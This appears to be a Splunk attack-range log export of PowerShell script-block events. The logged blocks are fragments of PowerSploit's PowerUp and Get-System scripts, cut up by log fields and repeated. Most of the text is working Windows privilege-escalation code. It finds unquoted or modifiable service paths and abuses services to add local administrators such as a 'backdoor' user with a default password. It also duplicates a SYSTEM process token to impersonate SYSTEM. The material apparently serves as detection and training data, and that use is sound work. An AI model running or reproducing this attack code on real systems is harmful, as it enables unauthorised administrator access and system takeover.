Noteproperty 'ServiceName' $Service.name $Out | Add-Member Noteproperty 'Path' $Service.pathname $Out | Add-Member Noteproperty 'ModifiablePath' $_ $Out | Add-Member Noteproperty 'StartName' $Service.startname $Out | Add-Member Noteproperty 'AbuseFunction' ""Write-ServiceBinary -Name '$($Service.name)' -Path <HijackPath>"" $Out | Add-Member Noteproperty 'CanRestart' ([Bool]$CanRestart) $Out | Add-Member Aliasproperty Name ServiceName $Out.PSObject.TypeNames.Insert(0, 'PowerUp.UnquotedService') $Out } } } } function Get-ModifiableServiceFile { <# .SYNOPSIS Enumerates all services and returns vulnerable service files. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Test-ServiceDaclPermission, Get-ModifiablePath .DESCRIPTION Enumerates all services by querying the WMI win32_service class. For each service, it takes the pathname (aka binPath) and passes it to Get-ModifiablePath to determine if the current user has rights to modify the service binary itself or any associated arguments. If the associated binary (or any configuration files) can be overwritten, privileges may be able to be escalated. .EXAMPLE Get-ModifiableServiceFile Get a set of potentially exploitable service binares/config files. .OUTPUTS PowerUp.ModifiablePath #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerUp.ModifiableServiceFile')] [CmdletBinding()] Param() Get-WMIObject -Class win32_service | Where-Object {$_ -and $_.pathname} | ForEach-Object { $ServiceName = $_.name $ServicePath = $_.pathname $ServiceStartName = $_.startname $ServicePath | Get-ModifiablePath | ForEach-Object { $CanRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $ServiceName $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $ServiceName $Out | Add-Member Noteproperty 'Path' $ServicePath $Out | Add-Member Noteproperty 'ModifiableFile' $_.ModifiablePath $Out | Add-Member Noteproperty 'ModifiableFilePermissions' $_.Permissions $Out | Add-Member Noteproperty 'ModifiableFileIdentityReference' $_.IdentityReference $Out | Add-Member Noteproperty 'StartName' $ServiceStartName $Out | Add-Member Noteproperty 'AbuseFunction' ""Install-ServiceBinary -Name '$ServiceName'"" $Out | Add-Member Noteproperty 'CanRestart' ([Bool]$CanRestart) $Out | Add-Member Aliasproperty Name ServiceName $Out.PSObject.TypeNames.Insert(0, 'PowerUp.ModifiableServiceFile') $Out } } } function Get-ModifiableService { <# .SYNOPSIS Enumerates all services and returns services for which the current user can modify the binPath. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Test-ServiceDaclPermission, Get-ServiceDetail .DESCRIPTION Enumerates all services using Get-Service and uses Test-ServiceDaclPermission to test if the current user has rights to change the service configuration. .EXAMPLE Get-ModifiableService Get a set of potentially exploitable services. .OUTPUTS PowerUp.ModifiablePath #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerUp.ModifiableService')] [CmdletBinding()] Param() Get-Service | Test-ServiceDaclPermission -PermissionSet 'ChangeConfig' | ForEach-Object { $ServiceDetails = $_ | Get-ServiceDetail $CanRestart = $_ | Test-ServiceDaclPermission -PermissionSet 'Restart' $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $ServiceDetails.name $Out | Add-Member Noteproperty 'Path' $ServiceDetails.pathname $Out | Add-Member Noteproperty 'StartName' $ServiceDetails.startname $Out | Add-Member Noteproperty 'AbuseFunction' ""Invoke-ServiceAbuse -Name '$($ServiceDetails.name)'"" $Out | Add-Member Noteproperty 'CanRestart' ([Bool]$CanRestart) $Out | Add-Member Aliasproperty Name ServiceName $Out.PSObject.TypeNames.Insert(0, 'PowerUp.ModifiableService') $Out } } function Get-ServiceDetail { <# .SYNOPSIS Returns detailed information about a specified service by querying the WMI win32_service class for the specified service name. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION Takes an array of one or more service Names or ServiceProcess.ServiceController objedts on the pipeline object returned by Get-Service, extracts out the service name, queries the WMI win32_service class for the specified service for details like binPath, and outputs everything. .PARAMETER Name An array of one or more service names to query information for. .EXAMPLE Get-ServiceDetail -Name VulnSVC Gets detailed information about the 'VulnSVC' service. .EXAMPLE Get-Service VulnSVC | Get-ServiceDetail Gets detailed information about the 'VulnSVC' service. .OUTPUTS System.Management.ManagementObject #> [OutputType('PowerUp.ModifiableService')] [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('ServiceName')] [String[]] [ValidateNotNullOrEmpty()] $Name ) PROCESS { ForEach($IndividualService in $Name) { $TargetService = Get-Service -Name $IndividualService -ErrorAction Stop if ($TargetService) { Get-WmiObject -Class win32_service -Filter ""Name='$($TargetService.Name)'"" | Where-Object {$_} | ForEach-Object { try { $_ } catch { Write-Verbose ""Error: $_"" } } } } } } ######################################################## # # Service abuse # ######################################################## function Invoke-ServiceAbuse { <# .SYNOPSIS Abuses a function the current user has configuration rights on in order to add a local administrator or execute a custom command. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-ServiceDetail, Set-ServiceBinaryPath .DESCRIPTION Takes a service Name or a ServiceProcess.ServiceController on the pipeline that the current user has configuration modification rights on and executes a series of automated actions to execute commands as SYSTEM. First, the service is enabled if it was set as disabled and the original service binary path and configuration state are preserved. Then the service is stopped and the Set-ServiceBinaryPath function is used to set the binary (binPath) for the service to a series of commands, the service is started, stopped, and the next command is configured. After completion, the original service configuration is restored and a custom object is returned that captures the service abused and commands run. .PARAMETER Name An array of one or more service names to abuse. .PARAMETER UserName The [domain\]username to add. If not given, it defaults to ""john"". Domain users are not created, only added to the specified localgroup. .PARAMETER Password The password to set for the added user. If not given, it defaults to ""Password123!"" .PARAMETER LocalGroup Local group name to add the user to (default of 'Administrators'). .PARAMETER Credential A [Management.Automation.PSCredential] object specifying the user/password to add. .PARAMETER Command Custom command to execute instead of user creation. .PARAMETER Force Switch. Force service stopping, even if other services are dependent. .EXAMPLE Invoke-ServiceAbuse -Name VulnSVC Abuses service 'VulnSVC' to add a localuser ""john"" with password ""Password123! to the machine and local administrator group .EXAMPLE Get-Service VulnSVC | Invoke-ServiceAbuse Abuses service 'VulnSVC' to add a localuser ""john"" with password ""Password123! to the machine and local administrator group .EXAMPLE Invoke-ServiceAbuse -Name VulnSVC -UserName ""TESTLAB\john"" Abuses service 'VulnSVC' to add a the domain user TESTLAB\john to the local adminisrtators group. .EXAMPLE Invoke-ServiceAbuse -Name VulnSVC -UserName backdoor -Password password -LocalGroup ""Power Users"" Abuses service 'VulnSVC' to add a localuser ""backdoor"" with password ""password"" to the machine and local ""Power Users"" group .EXAMPLE Invoke-ServiceAbuse -Name VulnSVC -Command ""net ..."" Abuses service 'VulnSVC' to execute a custom command. .OUTPUTS PowerUp.AbusedService #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingUserNameAndPassWordParams', ''",,,,,,,,,,,"'2022-05-02T18:24:40.741331800Z'","4104132150x0122478Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local",,,,,2,,"'5528'",,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,1,"4104132150x0122478Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local856at also have a space in the name. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-ModifiablePath, Test-ServiceDaclPermission .DESCRIPTION Uses Get-WmiObject to query all win32_service objects and extract out the binary pathname for each. Then checks if any binary paths have a space and aren't quoted. .EXAMPLE Get-UnquotedService Get a set of potentially exploitable services. .OUTPUTS PowerUp.UnquotedService .LINK https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/trusted_service_path.rb #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerUp.UnquotedService')] [CmdletBinding()] Param() # find all paths to service .exe's that have a space in the path and aren't quoted $VulnServices = Get-WmiObject -Class win32_service | Where-Object { $_ -and ($Null -ne $_.pathname) -and ($_.pathname.Trim() -ne '') -and (-not $_.pathname.StartsWith(""`"""")) -and (-not $_.pathname.StartsWith(""'"")) -and ($_.pathname.Substring(0, $_.pathname.ToLower().IndexOf('.exe') + 4)) -match '.* .*' } if ($VulnServices) { ForEach ($Service in $VulnServices) { $SplitPathArray = $Service.pathname.Split(' ') $ConcatPathArray = @() for ($i=0;$i -lt $SplitPathArray.Count; $i++) { $ConcatPathArray += $SplitPathArray[0..$i] -join ' ' } $ModifiableFiles = $ConcatPathArray | Get-ModifiablePath $ModifiableFiles | Where-Object {$_ -and $_.ModifiablePath -and ($_.ModifiablePath -ne '')} | Foreach-Object { $CanRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $Service.name $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $Service.name $Out | Add-Member Noteproperty 'Path' $Service.pathname $Out | Add-Member Noteproperty 'ModifiablePath' $_ $Out | Add-Member Noteproperty 'StartName' $Service.startname $Out | Add-Member Noteproperty 'AbuseFunction' ""Write-ServiceBinary -Name '$($Service.name)' -Path <HijackPath>"" $Out | Add-Member Noteproperty 'CanRestart' ([Bool]$CanRestart) $Out | Add-Member Aliasproperty Name ServiceName $Out.PSObject.TypeNames.Insert(0, 'PowerUp.UnquotedService') $Out } } } } function Get-ModifiableServiceFile { <# .SYNOPSIS Enumerates all services and returns vulnerable service files. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Test-ServiceDaclPermission, Get-ModifiablePath .DESCRIPTION Enumerates all services by querying the WMI win32_service class. For each service, it takes the pathname (aka binPath) and passes it to Get-ModifiablePath to determine if the current user has rights to modify the service binary itself or any associated arguments. If the associated binary (or any configuration files) can be overwritten, privileges may be able to be escalated. .EXAMPLE Get-ModifiableServiceFile Get a set of potentially exploitable service binares/config files. .OUTPUTS PowerUp.ModifiablePath #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerUp.ModifiableServiceFile')] [CmdletBinding()] Param() Get-WMIObject -Class win32_service | Where-Object {$_ -and $_.pathname} | ForEach-Object { $ServiceName = $_.name $ServicePath = $_.pathname $ServiceStartName = $_.startname $ServicePath | Get-ModifiablePath | ForEach-Object { $CanRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $ServiceName $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $ServiceName $Out | Add-Member Noteproperty 'Path' $ServicePath $Out | Add-Member Noteproperty 'ModifiableFile' $_.ModifiablePath $Out | Add-Member Noteproperty 'ModifiableFilePermissions' $_.Permissions $Out | Add-Member Noteproperty 'ModifiableFileIdentityReference' $_.IdentityReference $Out | Add-Member Noteproperty 'StartName' $ServiceStartName $Out | Add-Member Noteproperty 'AbuseFunction' ""Install-ServiceBinary -Name '$ServiceName'"" $Out | Add-Member Noteproperty 'CanRestart' ([Bool]$CanRestart) $Out | Add-Member Aliasproperty Name ServiceName $Out.PSObject.TypeNames.Insert(0, 'PowerUp.ModifiableServiceFile') $Out } } } function Get-ModifiableService { <# .SYNOPSIS Enumerates all services and returns services for which the current user can modify the binPath. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Test-ServiceDaclPermission, Get-ServiceDetail .DESCRIPTION Enumerates all services using Get-Service and uses Test-ServiceDaclPermission to test if the current user has rights to change the service configuration. .EXAMPLE Get-ModifiableService Get a set of potentially exploitable services. .OUTPUTS PowerUp.ModifiablePath #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerUp.ModifiableService')] [CmdletBinding()] Param() Get-Service | Test-ServiceDaclPermission -PermissionSet 'ChangeConfig' | ForEach-Object { $ServiceDetails = $_ | Get-ServiceDetail $CanRestart = $_ | Test-ServiceDaclPermission -PermissionSet 'Restart' $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $ServiceDetails.name $Out | Add-Member Noteproperty 'Path' $ServiceDetails.pathname $Out | Add-Member Noteproperty 'StartName' $ServiceDetails.startname $Out | Add-Member Noteproperty 'AbuseFunction' ""Invoke-ServiceAbuse -Name '$($ServiceDetails.name)'"" $Out | Add-Member Noteproperty 'CanRestart' ([Bool]$CanRestart) $Out | Add-Member Aliasproperty Name ServiceName $Out.PSObject.TypeNames.Insert(0, 'PowerUp.ModifiableService') $Out } } function Get-ServiceDetail { <# .SYNOPSIS Returns detailed information about a specified service by querying the WMI win32_service class for the specified service name. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION Takes an array of one or more service Names or ServiceProcess.ServiceController objedts on the pipeline object returned by Get-Service, extracts out the service name, queries the WMI win32_service class for the specified service for details like binPath, and outputs everything. .PARAMETER Name An array of one or more service names to query information for. .EXAMPLE Get-ServiceDetail -Name VulnSVC Gets detailed information about the 'VulnSVC' service. .EXAMPLE Get-Service VulnSVC | Get-ServiceDetail Gets detailed information about the 'VulnSVC' service. .OUTPUTS System.Management.ManagementObject #> [OutputType('PowerUp.ModifiableService')] [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('ServiceName')] [String[]] [ValidateNotNullOrEmpty()] $Name ) PROCESS { ForEach($IndividualService in $Name) { $TargetService = Get-Service -Name $IndividualService -ErrorAction Stop if ($TargetService) { Get-WmiObject -Class win32_service -Filter ""Name='$($TargetService.Name)'"" | Where-Object {$_} | ForEach-Object { try { $_ } catch { Write-Verbose ""Error: $_"" } } } } } } ######################################################## # # Service abuse # ######################################################## function Invoke-ServiceAbuse { <# .SYNOPSIS Abuses a function the current user has configuration rights on in order to add a local administrator or execute a custom command. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-ServiceDetail, Set-ServiceBinaryPath .DESCRIPTION Takes a service Name or a ServiceProcess.ServiceController on the pipeline that the current user has configuration modification rights on and executes a series of automated actions to execute commands as SYSTEM. First, the service is enabled if it was set as disabled and the original service binary path and configuration state are preserved. Then the service is stopped and the Set-ServiceBinaryPath function is used to set the binary (binPath) for the service to a series of commands, the service is started, stopped, and the next command is configured. After completion, the original service configuration is restored and a custom object is returned that captures the service abused and commands run. .PARAMETER Name An array of one or more service names to abuse. .PARAMETER UserName The [domain\]username to add. If not given, it defaults to ""john"". Domain users are not created, only added to the specified localgroup. .PARAMETER Password The password to set for the added user. If not given, it defaults to ""Password123!"" .PARAMETER LocalGroup Local group name to add the user to (default of 'Administrators'). .PARAMETER Credential A [Management.Automation.PSCredential] object specifying the user/password to add. .PARAMETER Command Custom command to execute instead of user creation. .PARAMETER Force Switch. Force service stopping, even if other services are dependent. .EXAMPLE Invoke-ServiceAbuse -Name VulnSVC Abuses service 'VulnSVC' to add a localuser ""john"" with password ""Password123! to the machine and local administrator group .EXAMPLE Get-Service VulnSVC | Invoke-ServiceAbuse Abuses service 'VulnSVC' to add a localuser ""john"" with password ""Password123! to the machine and local administrator group .EXAMPLE Invoke-ServiceAbuse -Name VulnSVC -UserName ""TESTLAB\john"" Abuses service 'VulnSVC' to add a the domain user TESTLAB\john to the local adminisrtators group. .EXAMPLE Invoke-ServiceAbuse -Name VulnSVC -UserName backdoor -Password password -LocalGroup ""Power Users"" Abuses service 'VulnSVC' to add a localuser ""backdoor"" with password ""password"" to the machine and local ""Power Users"" group .EXAMPLE Invoke-ServiceAbuse -Name VulnSVC -Command ""net ..."" Abuses service 'VulnSVC' to execute a custom command. .OUTPUTS PowerUp.AbusedService #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingUserNameAndPassWordParams', ''a7b1e4fb-95d2-4636-adf0-00efffb56975C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Privesc\PowerUp.ps1","2022-05-02T18:24:40.000+0000",,,,,,,,,,,,,"win-dc-mhaag-attack-range-270.attackrange.local",,"WIN-DC-MHAAG-AT",122478,"endpoint_services_processes err0r nix_errors windows_event_signature",,,,,,,,"WIN-DC-MHAAG-AT",,,122478,win,337,,,,,,,,,,,,,,,,,,,,,,,,,,,"<_='://../////'><><_='--'_='{----}'/><><><><",,,,,,,,,,,,,,,,,,,,,4104,"XmlWinEventLog:Microsoft-Windows-PowerShell/Operational",XmlWinEventLog,"splunk-server-mhaag-attack-range-3271",,,,,,,,,,,,"error track_event_signatures",,,"error track_event_signatures",,,,,,,,,,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,"Microsoft Windows" "'{7B7F4240-5E23-0005-4D66-7F7B235ED801}'",,,"Microsoft-Windows-PowerShell/Operational",,,,"win-dc-mhaag-attack-range-270.attackrange.local",,,,,,,4104,"22llingConvention]::Winapi, 'Auto').SetCustomAttribute($AttribBuilder2) $Win32TypeBuilder.DefinePInvokeMethod( 'DuplicateToken', 'advapi32.dll', [Reflection.MethodAttributes] 'Public, Static', [Reflection.CallingConventions]::Standard, [Bool], @([IntPtr], [Int32], [IntPtr].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, 'Auto').SetCustomAttribute($AttribBuilder) $Win32TypeBuilder.DefinePInvokeMethod( 'SetThreadToken', 'advapi32.dll', [Reflection.MethodAttributes] 'Public, Static', [Reflection.CallingConventions]::Standard, [Bool], @([IntPtr], [IntPtr]), [Runtime.InteropServices.CallingConvention]::Winapi, 'Auto').SetCustomAttribute($AttribBuilder) $Win32TypeBuilder.DefinePInvokeMethod( 'OpenProcessToken', 'advapi32.dll', [Reflection.MethodAttributes] 'Public, Static', [Reflection.CallingConventions]::Standard, [Bool], @([IntPtr], [UInt32], [IntPtr].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, 'Auto').SetCustomAttribute($AttribBuilder) $Win32TypeBuilder.DefinePInvokeMethod( 'LookupPrivilegeValue', 'advapi32.dll', [Reflection.MethodAttributes] 'Public, Static', [Reflection.CallingConventions]::Standard, [Bool], @([String], [String], [IntPtr].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, 'Auto').SetCustomAttribute($AttribBuilder) $Win32TypeBuilder.DefinePInvokeMethod( 'AdjustTokenPrivileges', 'advapi32.dll', [Reflection.MethodAttributes] 'Public, Static', [Reflection.CallingConventions]::Standard, [Bool], @([IntPtr], [Bool], $TokPriv1LuidStruct.MakeByRefType(),[Int32], [IntPtr], [IntPtr]), [Runtime.InteropServices.CallingConvention]::Winapi, 'Auto').SetCustomAttribute($AttribBuilder) $Win32Methods = $Win32TypeBuilder.CreateType() $Win32Native = [Int32].Assembly.GetTypes() | Where-Object {$_.Name -eq 'Win32Native'} $GetCurrentProcess = $Win32Native.GetMethod( 'GetCurrentProcess', [Reflection.BindingFlags] 'NonPublic, Static' ) $SE_PRIVILEGE_ENABLED = 0x00000002 $STANDARD_RIGHTS_REQUIRED = 0x000F0000 # $STANDARD_RIGHTS_READ = 0x00020000 $TOKEN_ASSIGN_PRIMARY = 0x00000001 $TOKEN_DUPLICATE = 0x00000002 $TOKEN_IMPERSONATE = 0x00000004 $TOKEN_QUERY = 0x00000008 $TOKEN_QUERY_SOURCE = 0x00000010 $TOKEN_ADJUST_PRIVILEGES = 0x00000020 $TOKEN_ADJUST_GROUPS = 0x00000040 $TOKEN_ADJUST_DEFAULT = 0x00000080 $TOKEN_ADJUST_SESSIONID = 0x00000100 # $TOKEN_READ = $STANDARD_RIGHTS_READ -bor $TOKEN_QUERY $TOKEN_ALL_ACCESS = $STANDARD_RIGHTS_REQUIRED -bor $TOKEN_ASSIGN_PRIMARY -bor $TOKEN_DUPLICATE -bor $TOKEN_IMPERSONATE -bor $TOKEN_QUERY -bor $TOKEN_QUERY_SOURCE -bor $TOKEN_ADJUST_PRIVILEGES -bor $TOKEN_ADJUST_GROUPS -bor $TOKEN_ADJUST_DEFAULT -bor $TOKEN_ADJUST_SESSIONID [long]$Luid = 0 $tokPriv1Luid = [Activator]::CreateInstance($TokPriv1LuidStruct) $tokPriv1Luid.Count = 1 $tokPriv1Luid.Luid = $Luid $tokPriv1Luid.Attr = $SE_PRIVILEGE_ENABLED $RetVal = $Win32Methods::LookupPrivilegeValue($Null, 'SeDebugPrivilege', [ref]$tokPriv1Luid.Luid) $htoken = [IntPtr]::Zero $RetVal = $Win32Methods::OpenProcessToken($GetCurrentProcess.Invoke($Null, @()), $TOKEN_ALL_ACCESS, [ref]$htoken) # $tokenPrivileges = [Activator]::CreateInstance($TokenPrivilegesStruct) $RetVal = $Win32Methods::AdjustTokenPrivileges($htoken, $False, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero) if(-not($RetVal)) { Write-Error ""[Get-System] AdjustTokenPrivileges failed, RetVal : $RetVal"" -ErrorAction Stop } $LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value $SystemHandle = Get-WmiObject -Class Win32_Process | ForEach-Object { try { $OwnerInfo = $_.GetOwner() if ($OwnerInfo.Domain -and $OwnerInfo.User) { $OwnerString = ""$($OwnerInfo.Domain)\$($OwnerInfo.User)"".ToUpper() if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) { $Process = Get-Process -Id $_.ProcessId $Handle = $Win32Methods::OpenProcess(0x0400, $False, $Process.Id) if ($Handle) { $Handle } } } } catch { Write-Verbose ""[Get-System] error enumerating handle: $_"" } } | Where-Object {$_ -and ($_ -ne 0)} | Select-Object -First 1 if ((-not $SystemHandle) -or ($SystemHandle -eq 0)) { Write-Error '[Get-System] Unable to obtain a handle to a system process.' } else { [IntPtr]$SystemToken = [IntPtr]::Zero $RetVal = $Win32Methods::OpenProcessToken(([IntPtr][Int] $SystemHandle), ($TOKEN_IMPERSONATE -bor $TOKEN_DUPLICATE), [ref]$SystemToken);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() Write-Verbose ""[Get-System] OpenProcessToken result: $RetVal"" Write-Verbose ""[Get-System] OpenProcessToken result: $LastError"" [IntPtr]$DulicateTokenHandle = [IntPtr]::Zero $RetVal = $Win32Methods::DuplicateToken($SystemToken, 2, [ref]$DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() Write-Verbose ""[Get-System] DuplicateToken result: $LastError"" $RetVal = $Win32Methods::SetThreadToken([IntPtr]::Zero, $DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() if(-not($RetVal)) { Write-Error ""[Get-System] SetThreadToken failed, RetVal : $RetVal"" -ErrorAction Stop } Write-Verbose ""[Get-System] SetThreadToken result: $LastError"" $null = $Win32Methods::CloseHandle($Handle) } } if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') { Write-Error ""[Get-System] Script must be run in STA mode, relaunch powershell.exe with -STA flag"" -ErrorAction Stop } if($PSBoundParameters['WhoAmI']) { Write-Output ""$([Environment]::UserDomainName)\$([Environment]::UserName)"" return } elseif($PSBoundParameters['RevToSelf']) { $RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf $RevertToSelfDelegate = Get-DelegateType @() ([Bool]) $RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate) $RetVal = $RevertToSelf.Invoke() if($RetVal) { Write-Output ""[Get-System] RevertToSelf successful."" } else { Write-Warning ""[Get-System] RevertToSelf failed."" } Write-Output ""Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)"" } else { if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) { Write-Error ""[Get-System] Script must be run as administrator"" -ErrorAction Stop } if($Technique -eq 'NamedPipe') { # if we're using named pipe impersonation with a service Get-SystemNamedPipe -ServiceName $ServiceName -PipeName $PipeName } else { # otherwise use token duplication Get-SystemToken } Write-Output ""Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)"" } } 6dc3f998-f746-426f-86eb-4b0137800789C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Privesc\Get-System.ps1",,4104,122466,,,,,"'{A0C1853B-5C40-4B15-8766-3CF1C58F985A}'",,,,,,0x0,3,,,,2,2,"'Microsoft-Windows-PowerShell'",15,,,,,,,"C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Privesc\Get-System.ps1",,,"'5388'",,,,,,122466,,,,"6dc3f998-f746-426f-86eb-4b0137800789","llingConvention]::Winapi, 'Auto').SetCustomAttribute($AttribBuilder2) $Win32TypeBuilder.DefinePInvokeMethod( 'DuplicateToken', 'advapi32.dll', [Reflection.MethodAttributes] 'Public, Static', [Reflection.CallingConventions]::Standard, [Bool], @([IntPtr], [Int32], [IntPtr].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, 'Auto').SetCustomAttribute($AttribBuilder) $Win32TypeBuilder.DefinePInvokeMethod( 'SetThreadToken', 'advapi32.dll', [Reflection.MethodAttributes] 'Public, Static', [Reflection.CallingConventions]::Standard, [Bool], @([IntPtr], [IntPtr]), [Runtime.InteropServices.CallingConvention]::Winapi, 'Auto').SetCustomAttribute($AttribBuilder) $Win32TypeBuilder.DefinePInvokeMethod( 'OpenProcessToken', 'advapi32.dll', [Reflection.MethodAttributes] 'Public, Static', [Reflection.CallingConventions]::Standard, [Bool], @([IntPtr], [UInt32], [IntPtr].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, 'Auto').SetCustomAttribute($AttribBuilder) $Win32TypeBuilder.DefinePInvokeMethod( 'LookupPrivilegeValue', 'advapi32.dll', [Reflection.MethodAttributes] 'Public, Static', [Reflection.CallingConventions]::Standard, [Bool], @([String], [String], [IntPtr].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, 'Auto').SetCustomAttribute($AttribBuilder) $Win32TypeBuilder.DefinePInvokeMethod( 'AdjustTokenPrivileges', 'advapi32.dll', [Reflection.MethodAttributes] 'Public, Static', [Reflection.CallingConventions]::Standard, [Bool], @([IntPtr], [Bool], $TokPriv1LuidStruct.MakeByRefType(),[Int32], [IntPtr], [IntPtr]), [Runtime.InteropServices.CallingConvention]::Winapi, 'Auto').SetCustomAttribute($AttribBuilder) $Win32Methods = $Win32TypeBuilder.CreateType() $Win32Native = [Int32].Assembly.GetTypes() | Where-Object {$_.Name -eq 'Win32Native'} $GetCurrentProcess = $Win32Native.GetMethod( 'GetCurrentProcess', [Reflection.BindingFlags] 'NonPublic, Static' ) $SE_PRIVILEGE_ENABLED = 0x00000002 $STANDARD_RIGHTS_REQUIRED = 0x000F0000 # $STANDARD_RIGHTS_READ = 0x00020000 $TOKEN_ASSIGN_PRIMARY = 0x00000001 $TOKEN_DUPLICATE = 0x00000002 $TOKEN_IMPERSONATE = 0x00000004 $TOKEN_QUERY = 0x00000008 $TOKEN_QUERY_SOURCE = 0x00000010 $TOKEN_ADJUST_PRIVILEGES = 0x00000020 $TOKEN_ADJUST_GROUPS = 0x00000040 $TOKEN_ADJUST_DEFAULT = 0x00000080 $TOKEN_ADJUST_SESSIONID = 0x00000100 # $TOKEN_READ = $STANDARD_RIGHTS_READ -bor $TOKEN_QUERY $TOKEN_ALL_ACCESS = $STANDARD_RIGHTS_REQUIRED -bor $TOKEN_ASSIGN_PRIMARY -bor $TOKEN_DUPLICATE -bor $TOKEN_IMPERSONATE -bor $TOKEN_QUERY -bor $TOKEN_QUERY_SOURCE -bor $TOKEN_ADJUST_PRIVILEGES -bor $TOKEN_ADJUST_GROUPS -bor $TOKEN_ADJUST_DEFAULT -bor $TOKEN_ADJUST_SESSIONID [long]$Luid = 0 $tokPriv1Luid = [Activator]::CreateInstance($TokPriv1LuidStruct) $tokPriv1Luid.Count = 1 $tokPriv1Luid.Luid = $Luid $tokPriv1Luid.Attr = $SE_PRIVILEGE_ENABLED $RetVal = $Win32Methods::LookupPrivilegeValue($Null, 'SeDebugPrivilege', [ref]$tokPriv1Luid.Luid) $htoken = [IntPtr]::Zero $RetVal = $Win32Methods::OpenProcessToken($GetCurrentProcess.Invoke($Null, @()), $TOKEN_ALL_ACCESS, [ref]$htoken) # $tokenPrivileges = [Activator]::CreateInstance($TokenPrivilegesStruct) $RetVal = $Win32Methods::AdjustTokenPrivileges($htoken, $False, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero) if(-not($RetVal)) { Write-Error ""[Get-System] AdjustTokenPrivileges failed, RetVal : $RetVal"" -ErrorAction Stop } $LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value $SystemHandle = Get-WmiObject -Class Win32_Process | ForEach-Object { try { $OwnerInfo = $_.GetOwner() if ($OwnerInfo.Domain -and $OwnerInfo.User) { $OwnerString = ""$($OwnerInfo.Domain)\$($OwnerInfo.User)"".ToUpper() if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) { $Process = Get-Process -Id $_.ProcessId $Handle = $Win32Methods::OpenProcess(0x0400, $False, $Process.Id) if ($Handle) { $Handle } } } } catch { Write-Verbose ""[Get-System] error enumerating handle: $_"" } } | Where-Object {$_ -and ($_ -ne 0)} | Select-Object -First 1 if ((-not $SystemHandle) -or ($SystemHandle -eq 0)) { Write-Error '[Get-System] Unable to obtain a handle to a system process.' } else { [IntPtr]$SystemToken = [IntPtr]::Zero $RetVal = 